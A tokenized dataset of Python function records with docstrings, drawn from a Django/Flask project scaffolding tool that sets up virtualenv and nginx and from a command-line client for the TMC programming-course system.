{"signature": "def create_project(self):", "body": "if os.path.exists(self._py):<EOL><INDENT>prj_dir = os.path.join(self._app_dir, self._project_name)<EOL>if os.path.exists(prj_dir):<EOL><INDENT>if self._force:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>shutil.rmtree(prj_dir)<EOL><DEDENT>else:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>return<EOL><DEDENT><DEDENT>logging.info('<STR_LIT>')<EOL>p = subprocess.Popen('<STR_LIT>'.format(self._app_dir, self._ve_dir + os.sep + self._project_name +os.sep + '<STR_LIT>' + os.sep + '<STR_LIT>', self._project_name),shell=True)<EOL>os.waitpid(p.pid, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return<EOL><DEDENT>", "docstring": "Creates a base Django project", "id": "f5483:c0:m1"}
{"signature": "def __init__(self, project_name=None, root_dir=os.getcwd(), modules=[], **kwargs):", "body": "if not project_name:<EOL><INDENT>print_error('<STR_LIT>')<EOL>return<EOL><DEDENT>self._project_name = project_name<EOL>self._root_dir = root_dir<EOL>self._ve_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._app_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._conf_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._var_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._log_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._script_dir = os.path.join(self._root_dir, '<STR_LIT>')<EOL>self._nginx_config = '<STR_LIT>'.format(os.path.join(self._conf_dir, self._project_name))<EOL>self._modules = modules<EOL>self._include_mimetypes = False<EOL>if '<STR_LIT:user>' in kwargs:<EOL><INDENT>self._user = kwargs['<STR_LIT:user>']<EOL><DEDENT>else:<EOL><INDENT>self._user = None<EOL><DEDENT>if '<STR_LIT:port>' in kwargs:<EOL><INDENT>self._port = kwargs['<STR_LIT:port>']<EOL><DEDENT>else: <EOL><INDENT>self._port = <NUM_LIT><EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self._server_name = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self._server_name = None<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self._force = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self._force = False<EOL><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>self._shared_hosting = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self._shared_hosting = False<EOL><DEDENT>if self._modules == None:<EOL><INDENT>self._modules = []<EOL><DEDENT>elif type(self._modules) == type('<STR_LIT>'):<EOL><INDENT>mod_list = self._modules<EOL>self._modules = []<EOL>[self._modules.append(x) for x in mod_list.split('<STR_LIT:U+002C>')]<EOL><DEDENT>self._py = self._ve_dir + os.sep + self._project_name + os.sep +'<STR_LIT>' + os.sep + '<STR_LIT>'<EOL>self.log = logging.getLogger('<STR_LIT>')<EOL>self.check_directories()<EOL>", "docstring": "Base creator for all projects", "id": "f5485:c0:m0"}
{"signature": "def get_project_name(self):", "body": "return self._project_name<EOL>", "docstring": "Returns the name of the project", "id": "f5485:c0:m1"}
{"signature": "def get_nginx_config(self):", "body": "if os.path.exists(self._nginx_config):<EOL><INDENT>return open(self._nginx_config, '<STR_LIT:r>').read()<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Gets the Nginx config for the project", "id": "f5485:c0:m2"}
{"signature": "def get_root_dir(self):", "body": "return self._root_dir<EOL>", "docstring": "Returns the path to the base project directory", "id": "f5485:c0:m3"}
{"signature": "def get_ve_dir(self):", "body": "return self._ve_dir<EOL>", "docstring": "Returns the path to the virtualenv", "id": "f5485:c0:m4"}
{"signature": "def check_directories(self):", "body": "self.log.debug('<STR_LIT>')<EOL>if not os.path.exists(self._ve_dir):<EOL><INDENT>os.makedirs(self._ve_dir)<EOL><DEDENT>if not os.path.exists(self._app_dir):<EOL><INDENT>os.makedirs(self._app_dir)<EOL><DEDENT>if not os.path.exists(self._conf_dir):<EOL><INDENT>os.makedirs(self._conf_dir)<EOL><DEDENT>if not os.path.exists(self._var_dir):<EOL><INDENT>os.makedirs(self._var_dir)<EOL><DEDENT>if not os.path.exists(self._log_dir):<EOL><INDENT>os.makedirs(self._log_dir)<EOL><DEDENT>if not os.path.exists(self._script_dir):<EOL><INDENT>os.makedirs(self._script_dir)<EOL><DEDENT>uwsgi_params = '<STR_LIT>'<EOL>if os.path.exists(uwsgi_params):<EOL><INDENT>shutil.copy(uwsgi_params, self._conf_dir)<EOL><DEDENT>else:<EOL><INDENT>logging.warning('<STR_LIT>'.format(self._conf_dir))<EOL><DEDENT>mime_types = '<STR_LIT>'<EOL>if os.path.exists(mime_types):<EOL><INDENT>shutil.copy(mime_types, self._conf_dir)<EOL>self._include_mimetypes = True<EOL><DEDENT>else:<EOL><INDENT>logging.warn('<STR_LIT>'.format(self._conf_dir))<EOL><DEDENT>", "docstring": "Creates base directories for app, virtualenv, and nginx", "id": "f5485:c0:m6"}
{"signature": "def create_virtualenv(self):", "body": "if check_command('<STR_LIT>'):<EOL><INDENT>ve_dir = os.path.join(self._ve_dir, self._project_name)<EOL>if os.path.exists(ve_dir):<EOL><INDENT>if self._force:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>shutil.rmtree(ve_dir)<EOL><DEDENT>else:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>return<EOL><DEDENT><DEDENT>logging.info('<STR_LIT>')<EOL>p = subprocess.Popen('<STR_LIT>'.format(ve_dir), shell=True)<EOL>os.waitpid(p.pid, <NUM_LIT:0>)<EOL>for m in self._modules:<EOL><INDENT>self.log.info('<STR_LIT>'.format(m))<EOL>p = subprocess.Popen('<STR_LIT>'.format(os.path.join(self._ve_dir,self._project_name) + os.sep + '<STR_LIT>' + os.sep + '<STR_LIT>', m), shell=True)<EOL>os.waitpid(p.pid, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "Creates the virtualenv for the project", "id": "f5485:c0:m7"}
{"signature": "def create_nginx_config(self):", "body": "cfg = '<STR_LIT>'.format(self._project_name)<EOL>if not self._shared_hosting:<EOL><INDENT>if self._user:<EOL><INDENT>cfg += '<STR_LIT>'.format(self._user)<EOL><DEDENT>cfg += '<STR_LIT>'.format(os.path.join(self._log_dir,self._project_name), os.path.join(self._var_dir, self._project_name))<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>if self._include_mimetypes:<EOL><INDENT>cfg += '<STR_LIT>'<EOL><DEDENT>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'.format(os.path.join(self._log_dir, self._project_name))<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL><DEDENT>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'.format(self._port)<EOL>if self._server_name:<EOL><INDENT>cfg += '<STR_LIT>'.format(self._server_name)<EOL><DEDENT>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'.format(os.path.join(self._var_dir, self._project_name))<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>cfg += '<STR_LIT>'<EOL>if not self._shared_hosting:<EOL><INDENT>cfg += '<STR_LIT>'<EOL><DEDENT>f = open(self._nginx_config, '<STR_LIT:w>')<EOL>f.write(cfg)<EOL>f.close()<EOL>", "docstring": "Creates the Nginx configuration for the project", "id": "f5485:c0:m10"}
{"signature": "def create_manage_scripts(self):", "body": "<EOL>start = '<STR_LIT>'.format(self._project_name)<EOL>start += '<STR_LIT>'<EOL>start += '<STR_LIT>'.format(os.path.join(self._conf_dir, self._project_name))<EOL>start += '<STR_LIT>'<EOL>start += '<STR_LIT>'<EOL>start += '<STR_LIT>'.format(os.path.join(self._conf_dir, self._project_name))<EOL>start += '<STR_LIT>'<EOL>start += '<STR_LIT>'.format(self._project_name)<EOL>stop = '<STR_LIT>'.format(self._project_name)<EOL>stop += '<STR_LIT>'.format(os.path.join(self._var_dir, self._project_name), os.path.join(self._conf_dir, self._project_name))<EOL>stop += '<STR_LIT>'.format(os.path.join(self._var_dir, self._project_name))<EOL>stop += '<STR_LIT>'.format(self._project_name)<EOL>start_file = '<STR_LIT>'.format(os.path.join(self._script_dir, self._project_name))<EOL>stop_file = '<STR_LIT>'.format(os.path.join(self._script_dir, self._project_name))<EOL>f = open(start_file, '<STR_LIT:w>')<EOL>f.write(start)<EOL>f.close()<EOL>f = open(stop_file, '<STR_LIT:w>')<EOL>f.write(stop)<EOL>f.close()<EOL>os.chmod(start_file, <NUM_LIT>)<EOL>os.chmod(stop_file, <NUM_LIT>)<EOL>", "docstring": "Creates scripts to start and stop the application", "id": "f5485:c0:m11"}
{"signature": "def create(self):", "body": "<EOL>self.create_virtualenv()<EOL>self.create_project()<EOL>self.create_uwsgi_script()<EOL>self.create_nginx_config()<EOL>self.create_manage_scripts()<EOL>logging.info('<STR_LIT>')<EOL>", "docstring": "Creates the full project", "id": "f5485:c0:m12"}
{"signature": "def __init__(self, project_name=None, root_dir=os.getcwd(), modules=[], **kwargs):", "body": "ProjectCreator.__init__(self, project_name, root_dir, modules, **kwargs)<EOL>self.log = logging.getLogger('<STR_LIT>')<EOL>flask_found = False<EOL>for m in self._modules:<EOL><INDENT>if m.find('<STR_LIT>') > -<NUM_LIT:1>:<EOL><INDENT>flask_found = True<EOL><DEDENT><DEDENT>if not flask_found:<EOL><INDENT>self._modules.append('<STR_LIT>')<EOL><DEDENT>", "docstring": "Handles creating Flask projects\n\n:keyword project_name: Name of project to create or edit\n:keyword root_dir: Base directory where projects are stored\n:keyword modules: List of Python modules to install into virtualenv (uses PIP)", "id": "f5486:c0:m0"}
{"signature": "def create_project(self):", "body": "if os.path.exists(self._py):<EOL><INDENT>prj_dir = os.path.join(self._app_dir, self._project_name)<EOL>if os.path.exists(prj_dir):<EOL><INDENT>if self._force:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>shutil.rmtree(prj_dir)<EOL><DEDENT>else:<EOL><INDENT>logging.warn('<STR_LIT>')<EOL>return<EOL><DEDENT><DEDENT>logging.info('<STR_LIT>')<EOL>os.makedirs(prj_dir)<EOL>app = \"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"\"\"\"<STR_LIT>\"\"\"<EOL>with open(os.path.join(prj_dir, '<STR_LIT>'), '<STR_LIT:w>') as f:<EOL><INDENT>f.write(app)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>logging.error('<STR_LIT>')<EOL>return<EOL><DEDENT>", "docstring": "Creates a base Flask project", "id": "f5486:c0:m1"}
{"signature": "def run(self, params, exercise, silent=False, env=os.environ):", "body": "out, err, code = \"<STR_LIT>\", \"<STR_LIT>\", -<NUM_LIT:1><EOL>@Spinner.decorate(\"<STR_LIT>\" if not silent else \"<STR_LIT>\",<EOL>waitmsg=\"<STR_LIT>\" + self.name)<EOL>def inner():<EOL><INDENT>ret = Popen(params, stdout=PIPE, stderr=PIPE, cwd=exercise.path(),<EOL>env=env)<EOL>out, err = ret.communicate()<EOL>return (out.decode(\"<STR_LIT:utf-8>\", \"<STR_LIT>\"),<EOL>err.decode(\"<STR_LIT:utf-8>\", \"<STR_LIT>\"),<EOL>ret.returncode)<EOL><DEDENT>try:<EOL><INDENT>out, err, code = inner()<EOL><DEDENT>except OSError as e:<EOL><INDENT>if e.errno in [os.errno.ENOENT, os.errno.EACCES]:<EOL><INDENT>raise MissingProgram(params[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>return code, out, err<EOL>", "docstring": "Run a program with Popen and handle common errors\n:param params: Parameter list to Popen\n:param exercise:\n:return: returncode, stdout, stderr", "id": "f5494:c1:m1"}
{"signature": "def applies_to(self, exercise):", "body": "raise NotImplementedError()<EOL>", "docstring": "Does this test apply to the given exercise.\n:param exercise:\n:return: True if applies to given exercise else False", "id": "f5494:c1:m2"}
{"signature": "def selected_course(func):", "body": "@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>course = Course.get_selected()<EOL>return func(course, *args, **kwargs)<EOL><DEDENT>return inner<EOL>", "docstring": "Passes the selected course as the first argument to func.", "id": "f5498:m0"}
{"signature": "def selected_exercise(func):", "body": "@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>exercise = Exercise.get_selected()<EOL>return func(exercise, *args, **kwargs)<EOL><DEDENT>return inner<EOL>", "docstring": "Passes the selected exercise as the first argument to func.", "id": "f5498:m1"}
{"signature": "def false_exit(func):", "body": "@wraps(func)<EOL>def inner(*args, **kwargs):<EOL><INDENT>ret = func(*args, **kwargs)<EOL>if ret is False:<EOL><INDENT>if \"<STR_LIT>\" in os.environ:<EOL><INDENT>raise TMCExit()<EOL><DEDENT>else:<EOL><INDENT>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>return inner<EOL>", "docstring": "If func returns False the program exits immediately.", "id": "f5498:m2"}
{"signature": "@aliases(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>@false_exit<EOL>def configure(server=None, username=None, password=None, tid=None, auto=False):", "body": "if not server and not username and not password and not tid:<EOL><INDENT>if Config.has():<EOL><INDENT>if not yn_prompt(\"<STR_LIT>\", False):<EOL><INDENT>return False<EOL><DEDENT><DEDENT><DEDENT>reset_db()<EOL>if not server:<EOL><INDENT>while True:<EOL><INDENT>server = input(\"<STR_LIT>\").strip()<EOL>if len(server) == <NUM_LIT:0>:<EOL><INDENT>server = \"<STR_LIT>\"<EOL><DEDENT>if not server.endswith('<STR_LIT:/>'):<EOL><INDENT>server += '<STR_LIT:/>'<EOL><DEDENT>if not (server.startswith(\"<STR_LIT>\")<EOL>or server.startswith(\"<STR_LIT>\")):<EOL><INDENT>ret = custom_prompt(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\",<EOL>[\"<STR_LIT:r>\", \"<STR_LIT:h>\", \"<STR_LIT:s>\"], \"<STR_LIT:r>\")<EOL>if ret == \"<STR_LIT:r>\":<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in server:<EOL><INDENT>server = server.split(\"<STR_LIT>\")[<NUM_LIT:1>]<EOL><DEDENT>if ret == \"<STR_LIT:h>\":<EOL><INDENT>server = \"<STR_LIT>\" + server<EOL><DEDENT>elif ret == \"<STR_LIT:s>\":<EOL><INDENT>server = \"<STR_LIT>\" + server<EOL><DEDENT><DEDENT>break<EOL><DEDENT>print(\"<STR_LIT>\".format(server))<EOL><DEDENT>while True:<EOL><INDENT>if not username:<EOL><INDENT>username = input(\"<STR_LIT>\")<EOL><DEDENT>if not password:<EOL><INDENT>password = getpass(\"<STR_LIT>\")<EOL><DEDENT>token = b64encode(<EOL>bytes(\"<STR_LIT>\".format(username, password), encoding='<STR_LIT:utf-8>')<EOL>).decode(\"<STR_LIT:utf-8>\")<EOL>try:<EOL><INDENT>api.configure(url=server, token=token, test=True)<EOL><DEDENT>except APIError as e:<EOL><INDENT>print(e)<EOL>if auto is False and yn_prompt(\"<STR_LIT>\"):<EOL><INDENT>username = password = None<EOL>continue<EOL><DEDENT>return False<EOL><DEDENT>break<EOL><DEDENT>if tid:<EOL><INDENT>select(course=True, tid=tid, auto=auto)<EOL><DEDENT>else:<EOL><INDENT>select(course=True)<EOL><DEDENT>", "docstring": "Configure tmc.py to use your account.", "id": "f5498:m4"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@selected_exercise<EOL>def current(exercise):", "body": "list_all(single=exercise)<EOL>", "docstring": "Prints some small info about the current exercise.", "id": "f5498:m5"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@selected_course<EOL>@false_exit<EOL>def skip(course, num=<NUM_LIT:1>):", "body": "sel = None<EOL>try:<EOL><INDENT>sel = Exercise.get_selected()<EOL>if sel.course.tid != course.tid:<EOL><INDENT>sel = None<EOL><DEDENT><DEDENT>except NoExerciseSelected:<EOL><INDENT>pass<EOL><DEDENT>if sel is None:<EOL><INDENT>sel = course.exercises.first()<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>sel = Exercise.get(Exercise.id == sel.id + num)<EOL><DEDENT>except peewee.DoesNotExist:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT><DEDENT>sel.set_select()<EOL>list_all(single=sel)<EOL>", "docstring": "Go to the next exercise.", "id": "f5498:m7"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>def reset():", "body": "print(\"<STR_LIT>\",<EOL>\"<STR_LIT>\")<EOL>if yn_prompt(\"<STR_LIT>\", False):<EOL><INDENT>reset_db()<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Resets the local database.", "id": "f5498:m9"}
{"signature": "@arg('<STR_LIT>', help='<STR_LIT>')<EOL>@selected_exercise<EOL>def run(exercise, command):", "body": "Popen(['<STR_LIT>', command, exercise.path()], stdout=DEVNULL, stderr=DEVNULL)<EOL>", "docstring": "Spawns a process with `command path-of-exercise`", "id": "f5498:m10"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT:-c>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>def select(course=False, tid=None, auto=False):", "body": "if course:<EOL><INDENT>update(course=True)<EOL>course = None<EOL>try:<EOL><INDENT>course = Course.get_selected()<EOL><DEDENT>except NoCourseSelected:<EOL><INDENT>pass<EOL><DEDENT>ret = {}<EOL>if not tid:<EOL><INDENT>ret = Menu.launch(\"<STR_LIT>\",<EOL>Course.select().execute(),<EOL>course)<EOL><DEDENT>else:<EOL><INDENT>ret[\"<STR_LIT>\"] = Course.get(Course.tid == tid)<EOL><DEDENT>if \"<STR_LIT>\" in ret:<EOL><INDENT>ret[\"<STR_LIT>\"].set_select()<EOL>update()<EOL>if ret[\"<STR_LIT>\"].path == \"<STR_LIT>\":<EOL><INDENT>select_a_path(auto=auto)<EOL><DEDENT>skip()<EOL>return<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT><DEDENT>else:<EOL><INDENT>selected = None<EOL>try:<EOL><INDENT>selected = Exercise.get_selected()<EOL><DEDENT>except NoExerciseSelected:<EOL><INDENT>pass<EOL><DEDENT>ret = {}<EOL>if not tid:<EOL><INDENT>ret = Menu.launch(\"<STR_LIT>\",<EOL>Course.get_selected().exercises,<EOL>selected)<EOL><DEDENT>else:<EOL><INDENT>ret[\"<STR_LIT>\"] = Exercise.byid(tid)<EOL><DEDENT>if \"<STR_LIT>\" in ret:<EOL><INDENT>ret[\"<STR_LIT>\"].set_select()<EOL>print(\"<STR_LIT>\".format(ret[\"<STR_LIT>\"]))<EOL><DEDENT><DEDENT>", "docstring": "Select a course or an exercise.", "id": "f5498:m11"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", default=False, action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", default=False, action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>@selected_course<EOL>@false_exit<EOL>def submit(course, tid=None, pastebin=False, review=False):", "body": "if tid is not None:<EOL><INDENT>return submit_exercise(Exercise.byid(tid),<EOL>pastebin=pastebin,<EOL>request_review=review)<EOL><DEDENT>else:<EOL><INDENT>sel = Exercise.get_selected()<EOL>if not sel:<EOL><INDENT>raise NoExerciseSelected()<EOL><DEDENT>return submit_exercise(sel, pastebin=pastebin, request_review=review)<EOL><DEDENT>", "docstring": "Submit the selected exercise to the server.", "id": "f5498:m12"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\", help=\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT>\", \"<STR_LIT>\", default=False, action=\"<STR_LIT:store_true>\",<EOL>help=\"<STR_LIT>\")<EOL>def paste(tid=None, review=False):", "body": "submit(pastebin=True, tid=tid, review=False)<EOL>", "docstring": "Sends the selected exercise to the TMC pastebin.", "id": "f5498:m13"}
{"signature": "@aliases(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>@selected_course<EOL>def list_all(course, single=None):", "body": "def bs(val):<EOL><INDENT>return \"<STR_LIT>\" if val else \"<STR_LIT:U+0020>\"<EOL><DEDENT>def bc(val):<EOL><INDENT>return as_success(\"<STR_LIT>\") if val else as_error(\"<STR_LIT>\")<EOL><DEDENT>def format_line(exercise):<EOL><INDENT>return \"<STR_LIT>\".format(exercise.tid,<EOL>bs(exercise.is_selected),<EOL>bc(exercise.is_downloaded),<EOL>bc(exercise.is_completed),<EOL>exercise.menuname())<EOL><DEDENT>print(\"<STR_LIT>\".format(<EOL>(len(str(course.exercises[<NUM_LIT:0>].tid)) - <NUM_LIT:1>) * \"<STR_LIT:U+0020>\"<EOL>))<EOL>if single:<EOL><INDENT>print(format_line(single))<EOL>return<EOL><DEDENT>for exercise in course.exercises:<EOL><INDENT>print(format_line(exercise))<EOL><DEDENT>", "docstring": "Lists all of the exercises in the current course.", "id": "f5498:m15"}
{"signature": "@aliases(\"<STR_LIT>\")<EOL>@arg(\"<STR_LIT:-c>\", \"<STR_LIT>\", action=\"<STR_LIT:store_true>\", help=\"<STR_LIT>\")<EOL>def update(course=False):", "body": "if course:<EOL><INDENT>with Spinner.context(msg=\"<STR_LIT>\",<EOL>waitmsg=\"<STR_LIT>\"):<EOL><INDENT>for course in api.get_courses():<EOL><INDENT>old = None<EOL>try:<EOL><INDENT>old = Course.get(Course.tid == course[\"<STR_LIT:id>\"])<EOL><DEDENT>except peewee.DoesNotExist:<EOL><INDENT>old = None<EOL><DEDENT>if old:<EOL><INDENT>old.details_url = course[\"<STR_LIT>\"]<EOL>old.save()<EOL>continue<EOL><DEDENT>Course.create(tid=course[\"<STR_LIT:id>\"], name=course[\"<STR_LIT:name>\"],<EOL>details_url=course[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>selected = Course.get_selected()<EOL>print(\"<STR_LIT>\")<EOL>for exercise in api.get_exercises(selected):<EOL><INDENT>old = None<EOL>try:<EOL><INDENT>old = Exercise.byid(exercise[\"<STR_LIT:id>\"])<EOL><DEDENT>except peewee.DoesNotExist:<EOL><INDENT>old = None<EOL><DEDENT>if old is not None:<EOL><INDENT>old.name = exercise[\"<STR_LIT:name>\"]<EOL>old.course = selected.id<EOL>old.is_attempted = exercise[\"<STR_LIT>\"]<EOL>old.is_completed = exercise[\"<STR_LIT>\"]<EOL>old.deadline = exercise.get(\"<STR_LIT>\")<EOL>old.is_downloaded = os.path.isdir(old.path())<EOL>old.return_url = exercise[\"<STR_LIT>\"]<EOL>old.zip_url = exercise[\"<STR_LIT>\"]<EOL>old.submissions_url = exercise[\"<STR_LIT>\"]<EOL>old.save()<EOL>download_exercise(old, update=True)<EOL><DEDENT>else:<EOL><INDENT>ex = Exercise.create(tid=exercise[\"<STR_LIT:id>\"],<EOL>name=exercise[\"<STR_LIT:name>\"],<EOL>course=selected.id,<EOL>is_attempted=exercise[\"<STR_LIT>\"],<EOL>is_completed=exercise[\"<STR_LIT>\"],<EOL>deadline=exercise.get(\"<STR_LIT>\"),<EOL>return_url=exercise[\"<STR_LIT>\"],<EOL>zip_url=exercise[\"<STR_LIT>\"],<EOL>submissions_url=exercise[(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT:url>\")])<EOL>ex.is_downloaded = os.path.isdir(ex.path())<EOL>ex.save()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update the data of courses and or exercises from server.", "id": "f5498:m16"}
{"signature": "def version():", "body": "print(\"<STR_LIT>\".format(__version__))<EOL>print(\"<STR_LIT>\")<EOL>", "docstring": "Prints the version and exits.", "id": "f5498:m18"}
{"signature": "def yn_prompt(msg, default=True):", "body": "ret = custom_prompt(msg, [\"<STR_LIT:y>\", \"<STR_LIT:n>\"], \"<STR_LIT:y>\" if default else \"<STR_LIT:n>\")<EOL>if ret == \"<STR_LIT:y>\":<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Prompts the user for yes or no.", "id": "f5500:m0"}
{"signature": "def custom_prompt(msg, options, default):", "body": "formatted_options = [<EOL>x.upper() if x == default else x.lower() for x in options<EOL>]<EOL>sure = input(\"<STR_LIT>\".format(msg, \"<STR_LIT:/>\".join(formatted_options)))<EOL>if len(sure) == <NUM_LIT:0>:<EOL><INDENT>return default<EOL><DEDENT>for option in options:<EOL><INDENT>if sure.upper() == option.upper():<EOL><INDENT>return option<EOL><DEDENT><DEDENT>return default<EOL>", "docstring": "Prompts the user with custom options.", "id": "f5500:m1"}
{"signature": "@staticmethod<EOL><INDENT>def launch(title, items, selected=None):<DEDENT>", "body": "resp = {\"<STR_LIT:code>\": -<NUM_LIT:1>, \"<STR_LIT>\": False}<EOL>curses.wrapper(Menu, title, items, selected, resp)<EOL>return resp<EOL>", "docstring": "Launches a new menu. Wraps curses nicely so exceptions won't screw with\nthe terminal too much.", "id": "f5501:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def decorate(msg=\"<STR_LIT>\", waitmsg=\"<STR_LIT>\"):<DEDENT>", "body": "def decorator(func):<EOL><INDENT>@functools.wraps(func)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>spin = Spinner(msg=msg, waitmsg=waitmsg)<EOL>spin.start()<EOL>a = None<EOL>try:<EOL><INDENT>a = func(*args, **kwargs)<EOL><DEDENT>except Exception as e:<EOL><INDENT>spin.msg = \"<STR_LIT>\"<EOL>spin.stop_spinning()<EOL>spin.join()<EOL>raise e<EOL><DEDENT>spin.stop_spinning()<EOL>spin.join()<EOL>return a<EOL><DEDENT>return wrapper<EOL><DEDENT>return decorator<EOL>", "docstring": "Decorated methods progress will be displayed to the user as a spinner.\nMostly for slower functions that do some network IO.", "id": "f5503:c0:m4"}
{"signature": "def send_zip(self, exercise, file, params):", "body": "resp = self.post(<EOL>exercise.return_url,<EOL>params=params,<EOL>files={<EOL>\"<STR_LIT>\": ('<STR_LIT>', file)<EOL>},<EOL>data={<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>}<EOL>)<EOL>return self._to_json(resp)<EOL>", "docstring": "Send zipfile to TMC for given exercise", "id": "f5505:c0:m7"}
{"signature": "def _make_url(self, slug):", "body": "if slug.startswith(\"<STR_LIT:http>\"):<EOL><INDENT>return slug<EOL><DEDENT>return \"<STR_LIT>\".format(self.server_url, slug)<EOL>", "docstring": "Ensures that the request url is valid.\nSometimes we have URLs that the server gives that are preformatted,\nsometimes we need to form our own.", "id": "f5505:c0:m9"}
{"signature": "def _do_request(self, method, slug, **kwargs):", "body": "<EOL>if not self.configured:<EOL><INDENT>self.configure()<EOL><DEDENT>url = self._make_url(slug)<EOL>defaults = {\"<STR_LIT>\": self.auth_header, \"<STR_LIT>\": self.params}<EOL>for item in defaults.keys():<EOL><INDENT>kwargs[item] = dict(defaults[item], **(kwargs.get(item, {})))<EOL><DEDENT>try:<EOL><INDENT>resp = request(method, url, **kwargs)<EOL>resp.raise_for_status()<EOL><DEDENT>except RequestException as e:<EOL><INDENT>reason = \"<STR_LIT>\"<EOL>raise APIError(reason.format(method, url, repr(e)))<EOL><DEDENT>return resp<EOL>", "docstring": "Does HTTP request sending / response validation.\nPrevents RequestExceptions from propagating", "id": "f5505:c0:m10"}
{"signature": "def _to_json(self, resp):", "body": "try:<EOL><INDENT>json = resp.json()<EOL><DEDENT>except ValueError as e:<EOL><INDENT>reason = \"<STR_LIT>\"<EOL>raise APIError(reason.format(repr(e)))<EOL><DEDENT>return json<EOL>", "docstring": "Extract json from a response.\nAssumes response is valid otherwise.\nInternal use only.", "id": "f5505:c0:m11"}
{"signature": "def formatter(color, s):", "body": "if no_coloring:<EOL><INDENT>return s<EOL><DEDENT>return \"<STR_LIT>\".format(begin=color, s=s, reset=Colors.RESET)<EOL>", "docstring": "Formats a string with color", "id": "f5506:m0"}
{"signature": "def __init__(self, color, output):", "body": "self.color = color<EOL>self.output = output.write<EOL>", "docstring": "Args:\n    color: One of the character codes from Colors-class.\n    output: An object that has .write method (e.g sys.stdout)", "id": "f5506:c2:m0"}
